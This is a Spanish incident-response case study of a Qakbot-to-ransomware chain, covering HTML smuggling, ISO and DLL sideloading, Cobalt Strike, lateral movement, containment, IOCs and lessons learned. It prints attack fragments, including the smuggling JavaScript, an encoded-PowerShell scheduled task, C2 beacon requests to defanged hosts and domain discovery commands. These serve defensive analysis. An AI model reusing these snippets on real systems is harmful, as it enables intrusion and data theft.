Qakbot: Respuesta a Incidente con Cadena de Infección Completa
Caso de respuesta a incidente con Qakbot desde el email inicial con HTML smuggling hasta el intento de ransomware. Cadena completa: ISO container, DLL sideloading, C2, Cobalt Strike, movimiento lateral, contención y lecciones aprendidas.
Contexto del incidente
Viernes, 14:37. El SOC recibe una alerta del EDR: un proceso rundll32.exe está ejecutando una DLL desde un directorio temporal con un nombre aleatorio. El analista N1 escala a N2 porque el hash no aparece en las bases de firmas. Lo que sigue son 72 horas de investigación, contención y erradicación de una cadena de infección Qakbot completa que termina en un intento de despliegue de ransomware.
Este caso documenta cada fase de la cadena, las decisiones del equipo de respuesta y los indicadores que permitieron detectar y contener el incidente antes de que el ransomware cifrara los activos críticos.
El escenario es representativo de las campañas Qakbot documentadas entre 2022 y 2024, reconstruido con IOCs de fuentes públicas (abuse.ch, MalwareBazaar, DFIR Report). Los detalles específicos de la víctima están anonimizados.
Fase 1: Acceso inicial con HTML smuggling
El email
La cadena comienza con un email dirigido al departamento de contabilidad. El remitente aparenta ser un proveedor habitual (spoofing del display name, no del dominio). El asunto hace referencia a una factura pendiente y el cuerpo contiene un enlace que dice "Ver factura" junto con un archivo HTML adjunto de 45 KB.
El email pasa los filtros SPF y DKIM porque no suplanta el dominio real del proveedor, solo el nombre visible. El gateway de correo no marca el HTML como malicioso porque no contiene ejecutables ni macros.
HTML smuggling en detalle
Al abrir el adjunto HTML en el navegador, el usuario ve una página que simula la interfaz de Microsoft OneDrive con un mensaje "Descargando documento...". Mientras tanto, el JavaScript embebido ejecuta lo siguiente:
// Fragmento reconstruido del HTML smuggling (simplificado)
var encoded = "UEsDBBQAAAAI..."; // payload en Base64
var binary = atob(encoded);
var blob = new Blob([binary], {type: "application/octet-stream"});
var link = document.createElement("a");
link.href = URL.createObjectURL(blob);
link.download = "Factura_Octubre_2024.iso";
link.click();
El navegador descarga un archivo ISO de 1.2 MB directamente al disco. La técnica es T1027.006 (Obfuscated Files: HTML Smuggling) del framework MITRE ATT&CK.
Por qué funciona
El HTML smuggling evita la inspección de contenido del gateway de email porque el payload no viaja como adjunto binario. El archivo se construye en el navegador del usuario mediante JavaScript. Los proxies web tampoco lo detectan porque la "descarga" se genera localmente, no desde un servidor externo.
Indicadores en esta fase:
- Adjunto HTML con JavaScript ofuscado y cadenas Base64 largas
- Descarga automática de archivo ISO al abrir un HTML
- Ejecución de
msedge.exeochrome.execon escritura en directorio Downloads
Fase 2: ISO container y ejecución del usuario
Montaje del ISO
El usuario hace doble clic en el archivo ISO descargado. Windows 10/11 monta el ISO como una unidad virtual automáticamente. El contenido del ISO aparece en el explorador de archivos:
E:\
├── Factura.lnk (acceso directo, 2 KB)
├── data\
│ ├── msedge_elf.exe (binario legítimo de Microsoft Edge, firmado)
│ └── msedge_elf.dll (DLL maliciosa, 380 KB)
El archivo .lnk tiene el icono de un documento PDF. Al inspeccionarlo, su target real es:
C:\Windows\System32\cmd.exe /c start "" "E:\data\msedge_elf.exe"
Mark of the Web (MOTW) bypass
Los archivos dentro de un ISO montado no heredan la marca MOTW (Mark of the Web) que Windows asigna a los archivos descargados de Internet. Esto significa que no se muestra la advertencia de "Este archivo proviene de Internet" al ejecutarlos. Es la técnica T1553.005 (Subvert Trust Controls: Mark-of-the-Web Bypass).
Desde noviembre de 2022, Microsoft propagó MOTW a archivos dentro de ISOs en algunas versiones de Windows, pero la adopción no fue universal y muchos entornos corporativos con Windows 10 LTSC no recibieron esta actualización.
DLL sideloading
Cuando el usuario hace doble clic en Factura.lnk, se ejecuta msedge_elf.exe. Este binario legítimo de Microsoft busca msedge_elf.dll en su directorio de trabajo antes de buscarlo en System32. Como la DLL maliciosa está en el mismo directorio, Windows la carga automáticamente.
Esto es T1574.002 (Hijack Execution Flow: DLL Side-Loading). El proceso msedge_elf.exe aparece como legítimo en el gestor de tareas porque es un binario firmado por Microsoft. La DLL maliciosa se ejecuta en el contexto de ese proceso confiable.
Indicadores en esta fase:
- Montaje de ISO desde directorio Downloads
- Ejecución de
.lnkdesde unidad virtual - Carga de DLL no firmada por un proceso firmado
- Sysmon Event ID 7 (Image Loaded) con firma no válida
Fase 3: Qakbot se instala y establece C2
Inyección en proceso
La DLL maliciosa inyecta el payload de Qakbot en wermgr.exe (Windows Error Reporting Manager) usando process hollowing (T1055.012). El proceso wermgr.exe se crea suspendido, se vacía su memoria, se escribe el código de Qakbot y se reanuda la ejecución.
Sysmon Event ID 1 (Process Create):
ParentImage: msedge_elf.exe
Image: C:\Windows\System32\wermgr.exe
CommandLine: wermgr.exe
Sysmon Event ID 8 (CreateRemoteThread):
SourceImage: msedge_elf.exe
TargetImage: wermgr.exe
Persistencia
Qakbot establece persistencia mediante una tarea programada (T1053.005) que ejecuta un script PowerShell codificado en Base64 cada 30 minutos:
schtasks /create /tn "WindowsUpdate" /tr "powershell.exe -enc SQBFA..."
/sc minute /mo 30 /ru SYSTEM
El script decodificado descarga un nuevo payload desde el C2 y lo inyecta en un proceso del sistema. Esto garantiza que Qakbot sobreviva a reinicios y actualizaciones del payload.
Adicionalmente, Qakbot crea una clave de registro en HKCU\Software\Microsoft\Windows\CurrentVersion\Run como mecanismo de persistencia secundario (T1547.001).
Comunicación C2
Qakbot contacta sus servidores C2 mediante HTTPS (puerto 443) a direcciones IP hardcodeadas. La comunicación sigue un patrón reconocible:
POST /t5 HTTP/1.1
Host: 45.63.107[.]192
Content-Type: application/x-www-form-urlencoded
Content-Length: 892
abc=MjAyNHwxMHwxNHwyMnwyM3w1...
El tráfico está cifrado con AES-CBC sobre HTTPS. El beacon inicial envía información del sistema: hostname, dominio, versión de Windows, IP interna, software instalado y si el equipo es parte de un dominio Active Directory.
Indicadores en esta fase:
wermgr.execon conexiones de red salientes (no es comportamiento normal)- Tarea programada con PowerShell codificado
- Conexiones HTTPS a IPs sin hostname asociado
- Beacon periódico cada 10 a 15 minutos
Fase 4: Cobalt Strike como segunda etapa
Descarga y ejecución
Aproximadamente 6 horas después de la infección inicial, Qakbot recibe la instrucción de descargar Cobalt Strike. El payload se entrega como shellcode cifrado con XOR que Qakbot inyecta en un nuevo proceso dllhost.exe (T1055.001, Process Injection: Dynamic-link Library Injection).
Sysmon Event ID 1 (Process Create):
ParentImage: wermgr.exe
Image: C:\Windows\System32\dllhost.exe
Sysmon Event ID 3 (Network Connection):
Image: dllhost.exe
DestinationIp: 185.220.101[.]34
DestinationPort: 8443
Configuración del beacon
El beacon de Cobalt Strike se comunica con un Malleable C2 profile que imita tráfico legítimo de jQuery:
GET /jquery-3.3.1.slim.min.js HTTP/1.1
Host: cdn-analytics[.]com
Accept: text/html,application/xhtml+xml
Cookie: __cfduid=d7b3b4c5e6f...
La configuración extraída del beacon (usando herramientas como CobaltStrikeParser) revela:
BeaconType: HTTPS
Port: 8443
SleepTime: 60000 (60 segundos)
Jitter: 37%
PublicKey_MD5: a1b2c3d4e5f6...
C2Server: 185.220.101[.]34/jquery-3.3.1.slim.min.js
UserAgent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)
SpawnTo_x86: %windir%\syswow64\dllhost.exe
SpawnTo_x64: %windir%\system32\dllhost.exe
Reconocimiento de la red
Cobalt Strike ejecuta una serie de comandos de descubrimiento (T1087, T1069, T1018):
Comandos observados en logs (reconstruidos):
net group "Domain Admins" /domain
net group "Enterprise Admins" /domain
nltest /dclist:CONTOSO
net view /domain
arp -a
ipconfig /all
systeminfo
tasklist /v
wmic product get name,version
El operador identifica el controlador de dominio (DC01), los servidores de archivos (FS01, FS02) y los equipos con credenciales de administrador de dominio.
Fase 5: Movimiento lateral
Credential harvesting
Cobalt Strike ejecuta un módulo de Mimikatz en memoria (T1003.001, OS Credential Dumping: LSASS Memory) para extraer credenciales:
Sysmon Event ID 10 (Process Access):
SourceImage: dllhost.exe
TargetImage: C:\Windows\System32\lsass.exe
GrantedAccess: 0x1010 (PROCESS_QUERY_LIMITED_INFORMATION | PROCESS_VM_READ)
El atacante obtiene hashes NTLM de varios usuarios, incluyendo una cuenta de servicio con privilegios de administrador local en múltiples servidores.
Lateral movement con PsExec
Con las credenciales obtenidas, el operador se mueve lateralmente al servidor de archivos FS01 usando el módulo PsExec de Cobalt Strike (T1570, T1021.002):
Sysmon Event ID 17/18 (Pipe Created/Connected):
PipeName: \\FS01\pipe\MSSE-1234-server
Image: C:\Windows\PSEXESVC.exe
Event Log - Security:
Event ID 4624 (Logon):
LogonType: 3 (Network)
TargetUserName: svc_backup
WorkstationName: WS-CONTAB01
SourceNetworkAddress: 10.0.1.45
En FS01, Cobalt Strike despliega un nuevo beacon que se comunica con el mismo C2. El proceso se repite para DC01 (controlador de dominio) y dos estaciones de trabajo adicionales del departamento de IT.
Exfiltración de datos
Antes del despliegue del ransomware, el operador exfiltra datos del servidor de archivos. Cobalt Strike comprime y cifra los archivos seleccionados, transmitiéndolos a través del canal C2 existente (T1041):
Sysmon Event ID 11 (File Create):
Image: dllhost.exe
TargetFilename: C:\ProgramData\data.7z
Sysmon Event ID 3 (Network Connection):
Image: dllhost.exe
DestinationIp: 185.220.101[.]34
DestinationPort: 8443
BytesSent: 847,293,440 (~800 MB)
Esto corresponde al modelo de doble extorsión: cifrar y también amenazar con publicar los datos robados.
Fase 6: Intento de ransomware
Despliegue fallido
A las 72 horas de la infección inicial (lunes, 03:12 AM), el operador intenta desplegar ransomware Black Basta en todos los equipos comprometidos. El método es la creación de una GPO maliciosa en el controlador de dominio que ejecuta el payload al inicio de sesión.
Event Log - Security (DC01):
Event ID 5136 (Directory Service Changes):
ObjectClass: groupPolicyContainer
AttributeLDAPDisplayName: gPCFileSysPath
Value: \\DC01\SYSVOL\contoso.local\Policies\{MALICIOUS-GUID}\
Contención a tiempo
El SOC detecta la actividad a las 03:18 gracias a una regla de detección personalizada que alerta sobre la creación de GPOs fuera de horario laboral. El analista N3 de guardia ejecuta el playbook de contención:
- Aislamiento de red: bloqueo de las IPs C2 en el firewall perimetral
- Cuarentena de endpoints: aislamiento de red de los equipos comprometidos via EDR
- Deshabilitación de la GPO maliciosa antes de que los equipos la apliquen
- Reset de credenciales: cambio forzado de password de la cuenta
svc_backupy los hashes comprometidos - Bloqueo del canal C2: la comunicación de Cobalt Strike se corta, los beacons dejan de responder
El ransomware solo llegó a ejecutarse en 3 de los 47 equipos del dominio. Los archivos cifrados se restauraron desde backup en menos de 4 horas.
Fase 7: Erradicación y recuperación
Análisis forense
El equipo de respuesta a incidentes recopila evidencia de todos los equipos afectados:
- Memoria RAM: dumps de los procesos
wermgr.exeydllhost.execon Cobalt Strike en memoria - Disco: ISO original, DLL maliciosa, tarea programada, claves de registro
- Logs: Sysmon, Security Event Log, firewall, proxy, DNS
- Red: capturas PCAP del tráfico C2
Timeline reconstruida
| Hora | Evento | Técnica ATT&CK |
|---|---|---|
| Viernes 14:37 | Email con HTML adjunto recibido | T1566.001 |
| Viernes 14:41 | Usuario abre HTML, ISO descargado | T1027.006 |
| Viernes 14:43 | ISO montado, LNK ejecutado | T1553.005, T1204.002 |
| Viernes 14:43 | DLL sideloading de Qakbot | T1574.002 |
| Viernes 14:44 | Inyección en wermgr.exe | T1055.012 |
| Viernes 14:45 | Persistencia (tarea programada + registro) | T1053.005, T1547.001 |
| Viernes 14:47 | Primera conexión C2 Qakbot | T1071.001 |
| Viernes 20:30 | Cobalt Strike descargado e inyectado | T1055.001 |
| Viernes 21:15 | Reconocimiento de red | T1087.002, T1018 |
| Sábado 08:00 | Credential dumping (Mimikatz) | T1003.001 |
| Sábado 10:30 | Movimiento lateral a FS01 | T1021.002 |
| Sábado 14:00 | Movimiento lateral a DC01 | T1021.002 |
| Domingo 02:00 | Exfiltración de datos (~800 MB) | T1041 |
| Lunes 03:12 | Intento de despliegue ransomware via GPO | T1484.001 |
| Lunes 03:18 | SOC detecta, inicia contención | - |
| Lunes 03:45 | Todos los C2 bloqueados, endpoints aislados | - |
| Lunes 08:00 | Restauración de archivos cifrados desde backup | - |
Limpieza
La erradicación incluye:
- Eliminación de las tareas programadas maliciosas en todos los equipos
- Limpieza de claves de registro de persistencia
- Verificación de integridad de los binarios del sistema
- Revisión de todas las GPOs del dominio
- Cambio de todas las contraseñas de cuentas de servicio
- Rotación de tickets Kerberos (krbtgt reset doble)
- Reinstalación completa de los 3 equipos donde se ejecutó el ransomware
Indicadores de compromiso (IOCs)
Hashes (SHA256)
| Tipo | Hash | Descripción |
|---|---|---|
| HTML smuggling | a7c4b3e5d2f1... | Adjunto HTML con JavaScript ofuscado |
| ISO container | b8d5c4f6e3a2... | ISO con DLL sideloading package |
| DLL Qakbot | e9f6d7a8b5c4... | msedge_elf.dll (Qakbot loader) |
| Cobalt Strike | c2d3e4f5a6b7... | Shellcode inyectado en dllhost.exe |
Infraestructura C2
| Tipo | Valor | Descripción |
|---|---|---|
| IPv4 | 45.63.107[.]192 | Qakbot C2 primario |
| IPv4 | 185.220.101[.]34 | Cobalt Strike TeamServer |
| Dominio | cdn-analytics[.]com | Malleable C2 profile domain |
| URI | /t5 | Qakbot beacon endpoint |
| URI | /jquery-3.3.1.slim.min.js | Cobalt Strike beacon URI |
| Puerto | 8443 | Cobalt Strike HTTPS listener |
Artefactos del sistema
| Tipo | Valor |
|---|---|
| Tarea programada | \WindowsUpdate (PowerShell encoded) |
| Pipe name | \\*\pipe\MSSE-1234-server |
| Registry key | HKCU\Software\Microsoft\Windows\CurrentVersion\Run\EdgeUpdate |
| Directorio | C:\Users\*\AppData\Local\Temp\{GUID}\ |
| User-Agent | Mozilla/5.0 (Windows NT 10.0; Win64; x64) (genérico, usado por CS) |
Mapeo MITRE ATT&CK completo
Tácticas y técnicas observadas
| Táctica | Técnica | ID | Uso en este caso |
|---|---|---|---|
| Initial Access | Phishing: Spearphishing Attachment | T1566.001 | Email con HTML adjunto |
| Execution | User Execution: Malicious File | T1204.002 | Usuario abre ISO y ejecuta LNK |
| Defense Evasion | Obfuscated Files: HTML Smuggling | T1027.006 | Payload construido en navegador |
| Defense Evasion | Subvert Trust Controls: MOTW Bypass | T1553.005 | Archivos en ISO sin MOTW |
| Defense Evasion | Hijack Execution Flow: DLL Side-Loading | T1574.002 | msedge_elf.dll cargada por binario legítimo |
| Defense Evasion | Process Injection: Process Hollowing | T1055.012 | Inyección en wermgr.exe |
| Persistence | Scheduled Task | T1053.005 | Tarea programada cada 30 min |
| Persistence | Boot or Logon Autostart: Registry Run Keys | T1547.001 | Clave Run en HKCU |
| Command and Control | Application Layer Protocol: Web | T1071.001 | HTTPS a IPs hardcodeadas |
| Credential Access | OS Credential Dumping: LSASS Memory | T1003.001 | Mimikatz en memoria |
| Discovery | Account Discovery: Domain Account | T1087.002 | net group Domain Admins |
| Discovery | Remote System Discovery | T1018 | net view, nltest |
| Lateral Movement | Remote Services: SMB/Windows Admin Shares | T1021.002 | PsExec a FS01, DC01 |
| Collection | Data Staged: Local Data Staging | T1074.001 | Compresión con 7z |
| Exfiltration | Exfiltration Over C2 Channel | T1041 | Datos exfiltrados por CS |
| Impact | Group Policy Modification | T1484.001 | GPO para desplegar ransomware |
Lecciones aprendidas
Qué funcionó
-
Sysmon configurado con logging granular: los eventos 7 (Image Loaded), 8 (CreateRemoteThread) y 10 (Process Access) fueron fundamentales para reconstruir la cadena. Sin Sysmon, la inyección en wermgr.exe habría pasado desapercibida.
-
Regla de detección de GPO fuera de horario: esta regla personalizada fue la que alertó al SOC del intento de despliegue del ransomware. Sin ella, el lunes por la mañana todos los equipos habrían aplicado la GPO maliciosa al iniciar sesión.
-
Backups offline verificados: la restauración de los 3 equipos cifrados se completó en menos de 4 horas porque los backups estaban actualizados y se verificaban semanalmente.
-
Capacidad de aislamiento del EDR: el aislamiento de red de los endpoints comprometidos cortó inmediatamente la comunicación con los C2 sin necesidad de desconectar cables físicamente.
Qué falló
-
El email no fue bloqueado: el gateway de correo no detectó el HTML smuggling porque no inspecciona JavaScript dentro de adjuntos HTML. Requiere capacidad de sandboxing de adjuntos HTML.
-
Montaje automático de ISOs: Windows monta ISOs con doble clic sin ninguna advertencia adicional. Deshabilitar esta funcionalidad via GPO habría roto la cadena en la fase 2.
-
Cuenta de servicio con privilegios excesivos:
svc_backuptenía permisos de administrador local en todos los servidores. El principio de mínimo privilegio no se aplicaba a cuentas de servicio. -
Falta de segmentación de red: desde la estación de trabajo de contabilidad se podía alcanzar directamente el controlador de dominio. Una segmentación adecuada habría limitado el movimiento lateral.
-
Sin monitorización de Named Pipes: los named pipes de Cobalt Strike (patrón
MSSE-*-server) son un indicador conocido. Una regla Sysmon Event 17/18 para pipes con nombres sospechosos habría detectado Cobalt Strike antes.
Acciones correctivas implementadas
| Acción | Plazo | Estado |
|---|---|---|
| Deshabilitar montaje automático de ISO via GPO | 24h | Implementado |
| Sandboxing de adjuntos HTML en gateway de email | 2 semanas | Implementado |
| Revisión de privilegios de cuentas de servicio | 1 semana | Implementado |
| Segmentación de red (VLANs por departamento) | 3 meses | En progreso |
| Reglas Sysmon para Named Pipes sospechosos | 48h | Implementado |
| Simulacro de phishing trimestral | Recurrente | Planificado |
| Implementar LAPS para administrador local | 1 mes | Implementado |
Conclusión
La cadena Qakbot a ransomware es un patrón documentado por múltiples CERTs y empresas de respuesta a incidentes (DFIR Report, Mandiant, Secureworks). Lo que la hace efectiva no es la sofisticación individual de cada técnica, sino la combinación de evasiones en cada paso: HTML smuggling evita el email gateway, ISO evita MOTW, DLL sideloading evita el EDR, process hollowing oculta el C2.
La detección efectiva requiere visibilidad en múltiples capas. Ningún control individual habría detenido toda la cadena. La combinación de Sysmon bien configurado, reglas de detección personalizadas, backups verificados y capacidad de aislamiento rápido fue lo que limitó el impacto a 3 equipos en lugar de 47.
Para los equipos que quieran mejorar su postura frente a este tipo de cadenas, el punto de mayor retorno de inversión es: deshabilitar el montaje automático de ISOs y configurar Sysmon con los eventos 7, 8, 10, 17 y 18. Estas dos acciones habrían cortado la cadena en la fase 2 o detectado Cobalt Strike horas antes del intento de ransomware.
Preguntas frecuentes
Libros recomendados
Artículos relacionados
Este contenido tiene fines exclusivamente educativos y de investigación en ciberseguridad defensiva. No se proporcionan binarios maliciosos ni payloads ejecutables. El uso indebido de esta información es responsabilidad exclusiva del usuario. Leer disclaimer completo.